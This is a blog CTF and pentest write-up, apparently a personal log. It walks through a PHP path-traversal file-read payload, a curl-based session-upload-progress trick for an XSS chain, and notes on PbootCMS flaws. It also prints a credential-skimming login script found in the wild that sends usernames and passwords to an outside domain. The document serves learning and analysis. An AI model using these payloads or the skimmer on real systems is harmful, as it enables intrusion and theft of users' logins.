RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.+)$ $1.php [L]

先来分析get_quote.php,这里应该能任意文件读取。

quote_file前缀限制死了,需要用..来路径穿越。注意到..的防御在if(strpos($_GET["quote"],":"))的else里,所以只需让quote参数包含:即可。走parse_url也就意味着拼接.txt可以用%00或者%23来截断。

构造payload:

/get_quote?quote=http://aaa/../../var/www/html/index.php%23

确实能够穿越。

不过注意到php.ini有openbase_dir限制:

open_basedir = /var/www/html/:/tmp/
file_uploads = On
session.upload_progress.cleanup = Off

怀疑要通过/tmp下的session来进行bot的xss。不行了,先本地起一个docker看看。我去我这网络怎么了qwq

curl -sS \
-b "PHPSESSID=test" \
-F "PHP_SESSION_UPLOAD_PROGRESS=AAA" \
-F "file=@/etc/hosts;filename=aaa.txt" \
"http://127.0.0.1:8000/get_quote.php" > /dev/null

确实是这样的,会在/tmp下写入可以预测的上传过程文件。那就很清楚了,通过这个构造xss,然后让bot去访问LFI的url。这题有点搞,还没做完。

学了一些渗透#

打了几个CMS,主要在研究PbootCMS。一方面是我的vps被打了,ip溯源是PbootCMS;另一方面是西湖论剑出过这个的题目,0day的温床。这个CMS到3.2.12就停更了,rce到现在都没修完。php写的cms好像一直漏洞不断,也是有点服了。

印象比较深刻的是看到了这一段js(当然是混淆过的):

$(document).on('click', 'button[lay-submit][lay-filter="login-submit"]', function(event) {
var password = $("#password").val();
var username = $("#username").val();
if (username != "" && password != "") {
(function() {
var this_url = window.location.href;
var decoded = "username=" + encodeURIComponent(username) + "&password=" + encodeURIComponent(password) + "&url=" + this_url;
var BtoA = btoa(decoded);
var hm = document.createElement("script");
hm.src = "https://bv168.icu/bt-login-base.php?base=" + BtoA;
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
}
});

也是有一点服气了,配合这个RCE,可以完整拿下。3.2.11其实也有洞,有个SQL注入。不过条件特别严苛,而且需要CMS模版设置满足一定要求。这些搞黑产的打完还不忘给人家洞修了。。

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ChaoMixian-WriteUp-20260405
https://blog.chaomixian.top/posts/chaomixian-writeup-20260405/
作者
炒米线
发布于
2026-04-05
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录